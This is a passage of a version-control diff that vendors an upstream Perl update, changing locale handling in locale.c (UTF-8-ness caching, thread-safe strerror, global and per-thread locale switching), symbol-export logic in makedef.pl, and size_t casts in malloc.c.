-        Safefree(save_input_locale);
-        return FALSE;
+        is_utf8 = FALSE;
+        goto finish_and_return;
     }
-#endif
+#    endif
 
     DEBUG_L(PerlIO_printf(Perl_debug_log,
                           "Assuming locale %s is not a UTF-8 locale\n",
                                     save_input_locale));
+    is_utf8 = FALSE;
+
+#  endif /* the code that is compiled when no modern LC_CTYPE */
+
+  finish_and_return:
+
+    /* Cache this result so we don't have to go through all this next time. */
+    utf8ness_cache_size = sizeof(PL_locale_utf8ness)
+                       - (utf8ness_cache - PL_locale_utf8ness);
+
+    /* But we can't save it if it is too large for the total space available */
+    if (LIKELY(input_name_len_with_overhead < utf8ness_cache_size)) {
+        Size_t utf8ness_cache_len = strlen(utf8ness_cache);
+
+        /* Here it can fit, but we may need to clear out the oldest cached
+         * result(s) to do so.  Check */
+        if (utf8ness_cache_len + input_name_len_with_overhead
+                                                        >= utf8ness_cache_size)
+        {
+            /* Here we have to clear something out to make room for this.
+             * Start looking at the rightmost place where it could fit and find
+             * the beginning of the entry that extends past that. */
+            char * cutoff = (char *) my_memrchr(utf8ness_cache,
+                                                UTF8NESS_SEP[0],
+                                                utf8ness_cache_size
+                                              - input_name_len_with_overhead);
+
+            assert(cutoff);
+            assert(cutoff >= utf8ness_cache);
+
+            /* This and all subsequent entries must be removed */
+            *cutoff = '\0';
+            utf8ness_cache_len = strlen(utf8ness_cache);
+        }
+
+        /* Make space for the new entry */
+        Move(utf8ness_cache,
+             utf8ness_cache + input_name_len_with_overhead,
+             utf8ness_cache_len + 1 /* Incl. trailing NUL */, char);
+
+        /* And insert it */
+        Copy(delimited, utf8ness_cache, input_name_len_with_overhead - 1, char);
+        utf8ness_cache[input_name_len_with_overhead - 1] = is_utf8 + '0';
+
+        if ((PL_locale_utf8ness[strlen(PL_locale_utf8ness)-1]
+                                                & (PERL_UINTMAX_T) ~1) != '0')
+        {
+            Perl_croak(aTHX_
+             "panic: %s: %d: Corrupt utf8ness_cache=%s\nlen=%zu,"
+             " inserted_name=%s, its_len=%zu\n",
+                __FILE__, __LINE__,
+                PL_locale_utf8ness, strlen(PL_locale_utf8ness),
+                delimited, input_name_len_with_overhead);
+        }
+    }
+
+#  ifdef DEBUGGING
+
+    if (DEBUG_Lv_TEST) {
+        const char * s = PL_locale_utf8ness;
+
+        /* Audit the structure */
+        while (s < PL_locale_utf8ness + strlen(PL_locale_utf8ness)) {
+            const char *e;
+
+            if (*s != UTF8NESS_SEP[0]) {
+                Perl_croak(aTHX_
+                           "panic: %s: %d: Corrupt utf8ness_cache: missing"
+                           " separator %.*s<-- HERE %s\n",
+                           __FILE__, __LINE__,
+                           (int) (s - PL_locale_utf8ness), PL_locale_utf8ness,
+                           s);
+            }
+            s++;
+            e = strchr(s, UTF8NESS_PREFIX[0]);
+            if (! e) {
+                Perl_croak(aTHX_
+                           "panic: %s: %d: Corrupt utf8ness_cache: missing"
+                           " separator %.*s<-- HERE %s\n",
+                           __FILE__, __LINE__,
+                           (int) (e - PL_locale_utf8ness), PL_locale_utf8ness,
+                           e);
+            }
+            e++;
+            if (*e != '0' && *e != '1') {
+                Perl_croak(aTHX_
+                           "panic: %s: %d: Corrupt utf8ness_cache: utf8ness"
+                           " must be [01] %.*s<-- HERE %s\n",
+                           __FILE__, __LINE__,
+                           (int) (e + 1 - PL_locale_utf8ness),
+                           PL_locale_utf8ness, e + 1);
+            }
+            if (ninstr(PL_locale_utf8ness, s, s-1, e)) {
+                Perl_croak(aTHX_
+                           "panic: %s: %d: Corrupt utf8ness_cache: entry"
+                           " has duplicate %.*s<-- HERE %s\n",
+                           __FILE__, __LINE__,
+                           (int) (e - PL_locale_utf8ness), PL_locale_utf8ness,
+                           e);
+            }
+            s = e + 1;
+        }
+    }
+
+    if (DEBUG_Lv_TEST || debug_initialization) {
+
+        PerlIO_printf(Perl_debug_log,
+                "PL_locale_utf8ness is now %s; returning %d\n",
+                                     PL_locale_utf8ness, is_utf8);
+    }
+
+#  endif
+
+    Safefree(delimited);
     Safefree(save_input_locale);
-    return FALSE;
+    return is_utf8;
 }
 
 #endif
 
-
 bool
 Perl__is_in_locale_category(pTHX_ const bool compiling, const int category)
 {
@@ -2536,44 +5037,101 @@
      * to the C locale */
 
     char *errstr;
+    dVAR;
 
-#ifdef USE_LOCALE_MESSAGES  /* If platform doesn't have messages category, we
-                               don't do any switching to the C locale; we just
-                               use whatever strerror() returns */
+#ifndef USE_LOCALE_MESSAGES
+
+    /* If platform doesn't have messages category, we don't do any switching to
+     * the C locale; we just use whatever strerror() returns */
+
+    errstr = savepv(Strerror(errnum));
+
+#else   /* Has locale messages */
+
     const bool within_locale_scope = IN_LC(LC_MESSAGES);
 
-    dVAR;
+#  ifndef USE_ITHREADS
 
-#  ifdef USE_THREAD_SAFE_LOCALE
-    locale_t save_locale = NULL;
-#  else
-    char * save_locale = NULL;
-    bool locale_is_C = FALSE;
+    /* This function is trivial without threads. */
+    if (within_locale_scope) {
+        errstr = savepv(strerror(errnum));
+    }
+    else {
+        const char * save_locale = savepv(do_setlocale_c(LC_MESSAGES, NULL));
 
-    /* We have a critical section to prevent another thread from changing the
-     * locale out from under us (or zapping the buffer returned from
-     * setlocale() ) */
-    LOCALE_LOCK;
+        do_setlocale_c(LC_MESSAGES, "C");
+        errstr = savepv(strerror(errnum));
+        do_setlocale_c(LC_MESSAGES, save_locale);
+        Safefree(save_locale);
+    }
 
-#  endif
+#  elif defined(HAS_POSIX_2008_LOCALE)                      \
+     && defined(HAS_STRERROR_L)                             \
+     && defined(HAS_DUPLOCALE)
 
-    if (! within_locale_scope) {
-        errno = 0;
+    /* This function is also trivial if we don't have to worry about thread
+     * safety and have strerror_l(), as it handles the switch of locales so we
+     * don't have to deal with that.  We don't have to worry about thread
+     * safety if strerror_r() is also available.  Both it and strerror_l() are
+     * thread-safe.  Plain strerror() isn't thread safe.  But on threaded
+     * builds when strerror_r() is available, the apparent call to strerror()
+     * below is actually a macro that behind-the-scenes calls strerror_r(). */
 
-#  ifdef USE_THREAD_SAFE_LOCALE /* Use the thread-safe locale functions */
+#    ifdef HAS_STRERROR_R
 
-        save_locale = uselocale(PL_C_locale_obj);
-        if (! save_locale) {
-            DEBUG_L(PerlIO_printf(Perl_debug_log,
-                                  "uselocale failed, errno=%d\n", errno));
+    if (within_locale_scope) {
+        errstr = savepv(strerror(errnum));
+    }
+    else {
+        errstr = savepv(strerror_l(errnum, PL_C_locale_obj));
+    }
+
+#    else
+
+    /* Here we have strerror_l(), but not strerror_r() and we are on a
+     * threaded-build.  We use strerror_l() for everything, constructing a
+     * locale to pass to it if necessary */
+
+    bool do_free = FALSE;
+    locale_t locale_to_use;
+
+    if (within_locale_scope) {
+        locale_to_use = uselocale((locale_t) 0);
+        if (locale_to_use == LC_GLOBAL_LOCALE) {
+            locale_to_use = duplocale(LC_GLOBAL_LOCALE);
+            do_free = TRUE;
         }
+    }
+    else {  /* Use C locale if not within 'use locale' scope */
+        locale_to_use = PL_C_locale_obj;
+    }
 
-#  else    /* Not thread-safe build */
+    errstr = savepv(strerror_l(errnum, locale_to_use));
 
-        save_locale = setlocale(LC_MESSAGES, NULL);
+    if (do_free) {
+        freelocale(locale_to_use);
+    }
+
+#    endif
+#  else /* Doesn't have strerror_l() */
+
+    const char * save_locale = NULL;
+    bool locale_is_C = FALSE;
+
+    /* We have a critical section to prevent another thread from executing this
+     * same code at the same time.  (On thread-safe perls, the LOCK is a
+     * no-op.)  Since this is the only place in core that changes LC_MESSAGES
+     * (unless the user has called setlocale(), this works to prevent races. */
+    LOCALE_LOCK;
+
+    DEBUG_Lv(PerlIO_printf(Perl_debug_log,
+                            "my_strerror called with errnum %d\n", errnum));
+    if (! within_locale_scope) {
+        save_locale = do_setlocale_c(LC_MESSAGES, NULL);
         if (! save_locale) {
-            DEBUG_L(PerlIO_printf(Perl_debug_log,
-                                  "setlocale failed, errno=%d\n", errno));
+            Perl_croak(aTHX_
+                 "panic: %s: %d: Could not find current LC_MESSAGES locale,"
+                 " errno=%d\n", __FILE__, __LINE__, errno);
         }
         else {
             locale_is_C = isNAME_C_OR_POSIX(save_locale);
@@ -2584,91 +5142,242 @@
                 /* The setlocale() just below likely will zap 'save_locale', so
                  * create a copy.  */
                 save_locale = savepv(save_locale);
-                setlocale(LC_MESSAGES, "C");
+                do_setlocale_c(LC_MESSAGES, "C");
             }
         }
-
-#  endif
-
     }   /* end of ! within_locale_scope */
+    else {
+        DEBUG_Lv(PerlIO_printf(Perl_debug_log, "%s: %d: WITHIN locale scope\n",
+                                               __FILE__, __LINE__));
+    }
 
-#endif
+    DEBUG_Lv(PerlIO_printf(Perl_debug_log,
+             "Any locale change has been done; about to call Strerror\n"));
+    errstr = savepv(Strerror(errnum));
 
-    errstr = Strerror(errnum);
-    if (errstr) {
-        errstr = savepv(errstr);
-        SAVEFREEPV(errstr);
+    if (! within_locale_scope) {
+        if (save_locale && ! locale_is_C) {
+            if (! do_setlocale_c(LC_MESSAGES, save_locale)) {
+                Perl_croak(aTHX_
+                     "panic: %s: %d: setlocale restore failed, errno=%d\n",
+                             __FILE__, __LINE__, errno);
+            }
+            Safefree(save_locale);
+        }
     }
 
-#ifdef USE_LOCALE_MESSAGES
+    LOCALE_UNLOCK;
 
-    if (! within_locale_scope) {
-        errno = 0;
+#  endif /* End of doesn't have strerror_l */
+#endif   /* End of does have locale messages */
 
-#  ifdef USE_THREAD_SAFE_LOCALE
+#ifdef DEBUGGING
 
-        if (save_locale && ! uselocale(save_locale)) {
-            DEBUG_L(PerlIO_printf(Perl_debug_log,
-                          "uselocale restore failed, errno=%d\n", errno));
-        }
+    if (DEBUG_Lv_TEST) {
+        PerlIO_printf(Perl_debug_log, "Strerror returned; saving a copy: '");
+        print_bytes_for_locale(errstr, errstr + strlen(errstr), 0);
+        PerlIO_printf(Perl_debug_log, "'\n");
     }
 
+#endif
+
+    SAVEFREEPV(errstr);
+    return errstr;
+}
+
+/*
+
+=for apidoc switch_to_global_locale
+
+On systems without locale support, or on single-threaded builds, or on
+platforms that do not support per-thread locale operations, this function does
+nothing.  On such systems that do have locale support, only a locale global to
+the whole program is available.
+
+On multi-threaded builds on systems that do have per-thread locale operations,
+this function converts the thread it is running in to use the global locale.
+This is for code that has not yet or cannot be updated to handle multi-threaded
+locale operation.  As long as only a single thread is so-converted, everything
+works fine, as all the other threads continue to ignore the global one, so only
+this thread looks at it.
+
+However, on Windows systems this isn't quite true prior to Visual Studio 15,
+at which point Microsoft fixed a bug.  A race can occur if you use the
+following operations on earlier Windows platforms:
+
+=over
+
+=item L<POSIX::localeconv|POSIX/localeconv>
+
+=item L<I18N::Langinfo>, items C<CRNCYSTR> and C<THOUSEP>
+
+=item L<perlapi/Perl_langinfo>, items C<CRNCYSTR> and C<THOUSEP>
+
+=back
+
+The first item is not fixable (except by upgrading to a later Visual Studio
+release), but it would be possible to work around the latter two items by using
+the Windows API functions C<GetNumberFormat> and C<GetCurrencyFormat>; patches
+welcome.
+
+Without this function call, threads that use the L<C<setlocale(3)>> system
+function will not work properly, as all the locale-sensitive functions will
+look at the per-thread locale, and C<setlocale> will have no effect on this
+thread.
+
+Perl code should convert to either call
+L<C<Perl_setlocale>|perlapi/Perl_setlocale> (which is a drop-in for the system
+C<setlocale>) or use the methods given in L<perlcall> to call
+L<C<POSIX::setlocale>|POSIX/setlocale>.  Either one will transparently properly
+handle all cases of single- vs multi-thread, POSIX 2008-supported or not.
+
+Non-Perl libraries, such as C<gtk>, that call the system C<setlocale> can
+continue to work if this function is called before transferring control to the
+library.
+
+Upon return from the code that needs to use the global locale,
+L<C<sync_locale()>|perlapi/sync_locale> should be called to restore the safe
+multi-thread operation.
+
+=cut
+*/
+
+void
+Perl_switch_to_global_locale()
+{
+
+#ifdef USE_THREAD_SAFE_LOCALE
+#  ifdef WIN32
+
+    _configthreadlocale(_DISABLE_PER_THREAD_LOCALE);
+
 #  else
+#    ifdef HAS_QUERYLOCALE
 
-        if (save_locale && ! locale_is_C) {
-            if (! setlocale(LC_MESSAGES, save_locale)) {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                      "setlocale restore failed, errno=%d\n", errno));
-            }
-            Safefree(save_locale);
+    setlocale(LC_ALL, querylocale(LC_ALL_MASK, uselocale((locale_t) 0)));
+
+#    else
+
+    {
+        unsigned int i;
+
+        for (i = 0; i < LC_ALL_INDEX; i++) {
+            setlocale(categories[i], do_setlocale_r(categories[i], NULL));
         }
     }
 
-    LOCALE_UNLOCK;
+#    endif
 
+    uselocale(LC_GLOBAL_LOCALE);
+
 #  endif
 #endif
 
-    return errstr;
 }
 
 /*
 
-=head1 Locale-related functions and macros
-
 =for apidoc sync_locale
 
-Changing the program's locale should be avoided by XS code.  Nevertheless,
-certain non-Perl libraries called from XS, such as C<Gtk> do so.  When this
-happens, Perl needs to be told that the locale has changed.  Use this function
-to do so, before returning to Perl.
+L<C<Perl_setlocale>|perlapi/Perl_setlocale> can be used at any time to query or
+change the locale (though changing the locale is antisocial and dangerous on
+multi-threaded systems that don't have multi-thread safe locale operations.
+(See L<perllocale/Multi-threaded operation>).  Using the system
+L<C<setlocale(3)>> should be avoided.  Nevertheless, certain non-Perl libraries
+called from XS, such as C<Gtk> do so, and this can't be changed.  When the
+locale is changed by XS code that didn't use
+L<C<Perl_setlocale>|perlapi/Perl_setlocale>, Perl needs to be told that the
+locale has changed.  Use this function to do so, before returning to Perl.
 
+The return value is a boolean: TRUE if the global locale at the time of call
+was in effect; and FALSE if a per-thread locale was in effect.  This can be
+used by the caller that needs to restore things as-they-were to decide whether
+or not to call
+L<C<Perl_switch_to_global_locale>|perlapi/switch_to_global_locale>.
+
 =cut
 */
 
-void
-Perl_sync_locale(pTHX)
+bool
+Perl_sync_locale()
 {
+    const char * newlocale;
+    dTHX;
 
+#ifdef USE_POSIX_2008_LOCALE
+
+    bool was_in_global_locale = FALSE;
+    locale_t cur_obj = uselocale((locale_t) 0);
+
+    /* On Windows, unless the foreign code has turned off the thread-safe
+     * locale setting, any plain setlocale() will have affected what we see, so
+     * no need to worry.  Otherwise, If the foreign code has done a plain
+     * setlocale(), it will only affect the global locale on POSIX systems, but
+     * will affect the */
+    if (cur_obj == LC_GLOBAL_LOCALE) {
+
+#  ifdef HAS_QUERY_LOCALE
+
+        do_setlocale_c(LC_ALL, setlocale(LC_ALL, NULL));
+
+#  else
+
+        unsigned int i;
+
+        /* We can't trust that we can read the LC_ALL format on the
+         * platform, so do them individually */
+        for (i = 0; i < LC_ALL_INDEX; i++) {
+            do_setlocale_r(categories[i], setlocale(categories[i], NULL));
+        }
+
+#  endif
+
+        was_in_global_locale = TRUE;
+    }
+
+#else
+
+    bool was_in_global_locale = TRUE;
+
+#endif
 #ifdef USE_LOCALE_CTYPE
-    new_ctype(setlocale(LC_CTYPE, NULL));
+
+    newlocale = savepv(do_setlocale_c(LC_CTYPE, NULL));
+    DEBUG_Lv(PerlIO_printf(Perl_debug_log,
+        "%s:%d: %s\n", __FILE__, __LINE__,
+        setlocale_debug_string(LC_CTYPE, NULL, newlocale)));
+    new_ctype(newlocale);
+    Safefree(newlocale);
+
 #endif /* USE_LOCALE_CTYPE */
+#ifdef USE_LOCALE_COLLATE
 
-#ifdef USE_LOCALE_COLLATE
-    new_collate(setlocale(LC_COLLATE, NULL));
+    newlocale = savepv(do_setlocale_c(LC_COLLATE, NULL));
+    DEBUG_Lv(PerlIO_printf(Perl_debug_log,
+        "%s:%d: %s\n", __FILE__, __LINE__,
+        setlocale_debug_string(LC_COLLATE, NULL, newlocale)));
+    new_collate(newlocale);
+    Safefree(newlocale);
+
 #endif
+#ifdef USE_LOCALE_NUMERIC
 
-#ifdef USE_LOCALE_NUMERIC
-    set_numeric_local();    /* Switch from "C" to underlying LC_NUMERIC */
-    new_numeric(setlocale(LC_NUMERIC, NULL));
+    newlocale = savepv(do_setlocale_c(LC_NUMERIC, NULL));
+    DEBUG_Lv(PerlIO_printf(Perl_debug_log,
+        "%s:%d: %s\n", __FILE__, __LINE__,
+        setlocale_debug_string(LC_NUMERIC, NULL, newlocale)));
+    new_numeric(newlocale);
+    Safefree(newlocale);
+
 #endif /* USE_LOCALE_NUMERIC */
 
+    return was_in_global_locale;
 }
 
 #if defined(DEBUGGING) && defined(USE_LOCALE)
 
-char *
-Perl__setlocale_debug_string(const int category,        /* category number,
+STATIC char *
+S_setlocale_debug_string(const int category,        /* category number,
                                                            like LC_ALL */
                             const char* const locale,   /* locale name */
 
@@ -2683,52 +5392,12 @@
 
     /* initialise to a non-null value to keep it out of BSS and so keep
      * -DPERL_GLOBAL_STRUCT_PRIVATE happy */
-    static char ret[128] = "If you can read this, thank your buggy C"
+    static char ret[256] = "If you can read this, thank your buggy C"
                            " library strlcpy(), and change your hints file"
                            " to undef it";
+
     my_strlcpy(ret, "setlocale(", sizeof(ret));
-
-    switch (category) {
-        default:
-            my_snprintf(ret, sizeof(ret), "%s? %d", ret, category);
-            break;
-#   ifdef LC_ALL
-        case LC_ALL:
-            my_strlcat(ret, "LC_ALL", sizeof(ret));
-            break;
-#   endif
-#   ifdef LC_CTYPE
-        case LC_CTYPE:
-            my_strlcat(ret, "LC_CTYPE", sizeof(ret));
-            break;
-#   endif
-#   ifdef LC_NUMERIC
-        case LC_NUMERIC:
-            my_strlcat(ret, "LC_NUMERIC", sizeof(ret));
-            break;
-#   endif
-#   ifdef LC_COLLATE
-        case LC_COLLATE:
-            my_strlcat(ret, "LC_COLLATE", sizeof(ret));
-            break;
-#   endif
-#   ifdef LC_TIME
-        case LC_TIME:
-            my_strlcat(ret, "LC_TIME", sizeof(ret));
-            break;
-#   endif
-#   ifdef LC_MONETARY
-        case LC_MONETARY:
-            my_strlcat(ret, "LC_MONETARY", sizeof(ret));
-            break;
-#   endif
-#   ifdef LC_MESSAGES
-        case LC_MESSAGES:
-            my_strlcat(ret, "LC_MESSAGES", sizeof(ret));
-            break;
-#   endif
-    }
-
+    my_strlcat(ret, category_name(category), sizeof(ret));
     my_strlcat(ret, ", ", sizeof(ret));
 
     if (locale) {
@@ -2758,7 +5427,59 @@
 
 #endif
 
+void
+Perl_thread_locale_init()
+{
+    /* Called from a thread on startup*/
 
+#ifdef USE_THREAD_SAFE_LOCALE
+
+    dTHX_DEBUGGING;
+
+    /* C starts the new thread in the global C locale.  If we are thread-safe,
+     * we want to not be in the global locale */
+
+     DEBUG_L(PerlIO_printf(Perl_debug_log,
+            "%s:%d: new thread, initial locale is %s; calling setlocale\n",
+            __FILE__, __LINE__, setlocale(LC_ALL, NULL)));
+
+#  ifdef WIN32
+
+    _configthreadlocale(_ENABLE_PER_THREAD_LOCALE);
+
+#  else
+
+    Perl_setlocale(LC_ALL, "C");
+
+#  endif
+#endif
+
+}
+
+void
+Perl_thread_locale_term()
+{
+    /* Called from a thread as it gets ready to terminate */
+
+#ifdef USE_THREAD_SAFE_LOCALE
+
+    /* C starts the new thread in the global C locale.  If we are thread-safe,
+     * we want to not be in the global locale */
+
+#  ifndef WIN32
+
+    {   /* Free up */
+        locale_t cur_obj = uselocale(LC_GLOBAL_LOCALE);
+        if (cur_obj != LC_GLOBAL_LOCALE) {
+            freelocale(cur_obj);
+        }
+    }
+
+#  endif
+#endif
+
+}
+
 /*
  * ex: set ts=8 sts=4 sw=4 et:
  */

Modified: vendor/perl/dist/make_ext.pl
===================================================================
--- vendor/perl/dist/make_ext.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/make_ext.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -303,7 +303,7 @@
 	    last unless defined $oldv;
 	    require ExtUtils::MM_Unix;
 	    defined (my $newv = parse_version MM $vmod) or last;
-	    if ($newv ne $oldv) {
+	    if (version->parse($newv) ne $oldv) {
 		close $mfh or die "close $makefile: $!";
 		_unlink($makefile);
 		{

Modified: vendor/perl/dist/makedef.pl
===================================================================
--- vendor/perl/dist/makedef.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/makedef.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -108,7 +108,6 @@
 open(CFG, '<', $config_h) || die "Cannot open $config_h: $!\n";
 while (<CFG>) {
     $define{$1} = 1 if /^\s*\#\s*define\s+(MYMALLOC|MULTIPLICITY
-                                           |SPRINTF_RETURNS_STRLEN
                                            |KILL_BY_SIGPRC
                                            |(?:PERL|USE|HAS)_\w+)\b/x;
 }
@@ -126,10 +125,36 @@
     $define{USE_ITHREADS} ||
     $define{MULTIPLICITY} ;
 
-if ($define{USE_ITHREADS} && $ARGS{PLATFORM} ne 'win32' && $^O ne 'darwin') {
+if ($define{USE_ITHREADS} && $ARGS{PLATFORM} ne 'win32' && $ARGS{PLATFORM} ne 'netware') {
     $define{USE_REENTRANT_API} = 1;
 }
 
+if (     $define{USE_ITHREADS}
+    &&   $define{HAS_SETLOCALE}
+    && ! $define{NO_LOCALE}
+    && ! $define{NO_POSIX_2008_LOCALE})
+{
+    $define{HAS_POSIX_2008_LOCALE} = 1 if $define{HAS_NEWLOCALE}
+                                       && $define{HAS_FREELOCALE}
+                                       && $define{HAS_USELOCALE};
+    my $cctype = $ARGS{CCTYPE} =~ s/MSVC//r;
+    if (    ! $define{NO_THREAD_SAFE_LOCALE}
+        && (  $define{HAS_POSIX_2008_LOCALE}
+            || ($ARGS{PLATFORM} eq 'win32' && (   $cctype !~ /\D/
+                                               && $cctype >= 80))))
+    {
+        $define{USE_THREAD_SAFE_LOCALE} = 1;
+        $define{USE_POSIX_2008_LOCALE} = 1 if $define{HAS_POSIX_2008_LOCALE};
+    }
+
+    if (   $ARGS{PLATFORM} eq 'win32'
+        && $define{USE_THREAD_SAFE_LOCALE}
+        && $cctype < 140)
+    {
+        $define{TS_W32_BROKEN_LOCALECONV} = 1;
+    }
+}
+
 # perl.h logic duplication ends
 
 print STDERR "Defines: (" . join(' ', sort keys %define) . ")\n"
@@ -359,7 +384,9 @@
 
 unless ($define{'USE_ITHREADS'}) {
     ++$skip{$_} foreach qw(
+                    PL_keyword_plugin_mutex
 		    PL_check_mutex
+                    PL_curlocales
 		    PL_op_mutex
 		    PL_regex_pad
 		    PL_regex_padav
@@ -366,6 +393,8 @@
 		    PL_dollarzero_mutex
 		    PL_hints_mutex
 		    PL_locale_mutex
+		    PL_lc_numeric_mutex
+		    PL_lc_numeric_mutex_depth
 		    PL_my_ctx_mutex
 		    PL_perlio_mutex
 		    PL_stashpad
@@ -396,14 +425,18 @@
 		    Perl_stashpv_hvname_match
 		    Perl_regdupe_internal
 		    Perl_newPADOP
+                    PL_C_locale_obj
 			 );
 }
 
-unless (   $define{'USE_ITHREADS'}
-        && $define{'HAS_NEWLOCALE'})
+unless ( $define{'HAS_NEWLOCALE'}
+    &&   $define{'HAS_FREELOCALE'}
+    &&   $define{'HAS_USELOCALE'}
+    && ! $define{'NO_POSIX_2008_LOCALE'})
 {
     ++$skip{$_} foreach qw(
         PL_C_locale_obj
+        PL_underlying_numeric_obj
     );
 }
 
@@ -431,6 +464,14 @@
 			 );
 }
 
+if ($define{USE_THREAD_SAFE_LOCALE}) {
+    ++$skip{PL_lc_numeric_mutex};
+    ++$skip{PL_lc_numeric_mutex_depth};
+    if (! $define{TS_W32_BROKEN_LOCALECONV}) {
+        ++$skip{PL_locale_mutex};
+    }
+}
+
 unless ($define{'PERL_OP_PARENT'}) {
     ++$skip{$_} foreach qw(
 		    Perl_op_parent
@@ -466,10 +507,6 @@
     ++$skip{Perl_gv_SVadd};
 }
 
-if ($define{'SPRINTF_RETURNS_STRLEN'}) {
-    ++$skip{Perl_my_sprintf};
-}
-
 unless ($define{'PERL_USES_PL_PIDSTATUS'}) {
     ++$skip{PL_pidstatus};
 }
@@ -482,6 +519,10 @@
     ++$skip{$_} foreach qw(
 		    PL_interp_size
 		    PL_interp_size_5_18_0
+                    PL_sv_yes
+                    PL_sv_undef
+                    PL_sv_no
+                    PL_sv_zero
 			 );
 }
 
@@ -519,6 +560,11 @@
     ++$skip{PL_sig_handlers_initted} unless !$define{HAS_SIGACTION};
 }
 
+if ($define{'HAS_STRNLEN'})
+{
+    ++$skip{Perl_my_strnlen};
+}
+
 unless ($define{USE_LOCALE_COLLATE}) {
     ++$skip{$_} foreach qw(
 		    PL_collation_ix
@@ -573,6 +619,9 @@
 ++$skip{PL_op_exec_cnt}
     unless $define{PERL_TRACE_OPS};
 
+++$skip{PL_hash_chars}
+    unless $define{PERL_USE_SINGLE_CHAR_HASH_CACHE};
+
 # functions from *.sym files
 
 my @syms = qw(globvar.sym);
@@ -682,12 +731,13 @@
 {
     my %seen;
     my ($embed) = setup_embed($ARGS{TARG_DIR});
+    my $excludedre = $define{'NO_MATHOMS'} ? qr/[xmib]/ : qr/[xmi]/;
 
     foreach (@$embed) {
 	my ($flags, $retval, $func, @args) = @$_;
 	next unless $func;
-	if (   ($flags =~ /[AX]/ && $flags !~ /[xmi]/)
-            || ($flags =~ /b/ && ! $define{'NO_MATHOMS'}))
+	if (($flags =~ /[AX]/ && $flags !~ $excludedre)
+            || (!$define{'NO_MATHOMS'} && $flags =~ /b/))
         {
 	    # public API, so export
 

Modified: vendor/perl/dist/malloc.c
===================================================================
--- vendor/perl/dist/malloc.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/malloc.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -466,12 +466,12 @@
   };
 #  define BUCKET_SIZE_NO_SURPLUS(i) ((i) % 2 ? buck_size[i] : (1 << ((i) >> BUCKET_POW2_SHIFT)))
 #  define BUCKET_SIZE_REAL(i) ((i) <= MAX_BUCKET_BY_TABLE		\
-			       ? buck_size[i] 				\
-			       : ((1 << ((i) >> BUCKET_POW2_SHIFT))	\
+			       ? ((size_t)buck_size[i])			\
+			       : ((((size_t)1) << ((i) >> BUCKET_POW2_SHIFT)) \
 				  - MEM_OVERHEAD(i)			\
 				  + POW2_OPTIMIZE_SURPLUS(i)))
 #else
-#  define BUCKET_SIZE_NO_SURPLUS(i) (1 << ((i) >> BUCKET_POW2_SHIFT))
+#  define BUCKET_SIZE_NO_SURPLUS(i) (((size_t)1) << ((i) >> BUCKET_POW2_SHIFT))
 #  define BUCKET_SIZE(i) (BUCKET_SIZE_NO_SURPLUS(i) + POW2_OPTIMIZE_SURPLUS(i))
 #  define BUCKET_SIZE_REAL(i) (BUCKET_SIZE(i) - MEM_OVERHEAD(i))
 #endif 
@@ -686,7 +686,7 @@
 
 #ifdef PACK_MALLOC
 #  define MEM_OVERHEAD(bucket) \
-  (bucket <= MAX_PACKED ? 0 : M_OVERHEAD)
+  (bucket <= MAX_PACKED ? ((size_t)0) : M_OVERHEAD)
 #  ifdef SMALL_BUCKET_VIA_TABLE
 #    define START_SHIFTS_BUCKET ((MAX_PACKED_POW2 + 1) * BUCKETS_PER_POW2)
 #    define START_SHIFT MAX_PACKED_POW2
@@ -752,11 +752,11 @@
 #  define POW2_OPTIMIZE_ADJUST(nbytes)				\
    ((nbytes >= FIRST_BIG_BOUND) ? nbytes -= PERL_PAGESIZE : 0)
 #  define POW2_OPTIMIZE_SURPLUS(bucket)				\
-   ((bucket >= FIRST_BIG_POW2 * BUCKETS_PER_POW2) ? PERL_PAGESIZE : 0)
+   ((size_t)((bucket >= FIRST_BIG_POW2 * BUCKETS_PER_POW2) ? PERL_PAGESIZE : 0))
 
 #else  /* !TWO_POT_OPTIMIZE */
 #  define POW2_OPTIMIZE_ADJUST(nbytes)
-#  define POW2_OPTIMIZE_SURPLUS(bucket) 0
+#  define POW2_OPTIMIZE_SURPLUS(bucket) ((size_t)0)
 #endif /* !TWO_POT_OPTIMIZE */
 
 #define BARK_64K_LIMIT(what,nbytes,size)
@@ -822,10 +822,8 @@
 #ifdef USE_PERL_SBRK
 # define sbrk(a) Perl_sbrk(a)
 Malloc_t Perl_sbrk (int size);
-#else
-# ifndef HAS_SBRK_PROTO /* <unistd.h> usually takes care of this */
+#elif !defined(HAS_SBRK_PROTO) /* <unistd.h> usually takes care of this */
 extern	Malloc_t sbrk(int);
-# endif
 #endif
 
 #ifndef MIN_SBRK_FRAC1000	/* Backward compatibility */
@@ -832,22 +830,6 @@
 #  define MIN_SBRK_FRAC1000	(MIN_SBRK_FRAC * 10)
 #endif
 
-#ifndef START_EXTERN_C
-#  ifdef __cplusplus
-#    define START_EXTERN_C	extern "C" {
-#  else
-#    define START_EXTERN_C
-#  endif
-#endif
-
-#ifndef END_EXTERN_C
-#  ifdef __cplusplus
-#    define END_EXTERN_C		};
-#  else
-#    define END_EXTERN_C
-#  endif
-#endif
-
 #include "malloc_ctl.h"
 
 #ifndef NO_MALLOC_DYNAMIC_CFG
@@ -1673,7 +1655,7 @@
   		return;
 #ifndef NO_PERL_MALLOC_ENV
 	if (!were_called) {
-	    /* It's the our first time.  Initialize ourselves */
+	    /* It's our first time.  Initialize ourselves */
 	    were_called = 1;	/* Avoid a loop */
 	    if (!MallocCfg[MallocCfg_skip_cfg_env]) {
 		char *s = getenv("PERL_MALLOC_OPT"), *t = s, *off;

Modified: vendor/perl/dist/malloc_ctl.h
===================================================================
--- vendor/perl/dist/malloc_ctl.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/malloc_ctl.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
-#ifndef MALLOC_CTL_H
-#  define MALLOC_CTL_H
+#ifndef PERL_MALLOC_CTL_H_
+#  define PERL_MALLOC_CTL_H_
 
 struct perl_mstats {
     UV *nfree;

Modified: vendor/perl/dist/mathoms.c
===================================================================
--- vendor/perl/dist/mathoms.c	2018-11-30 20:25:27 UTC (rev 12125)
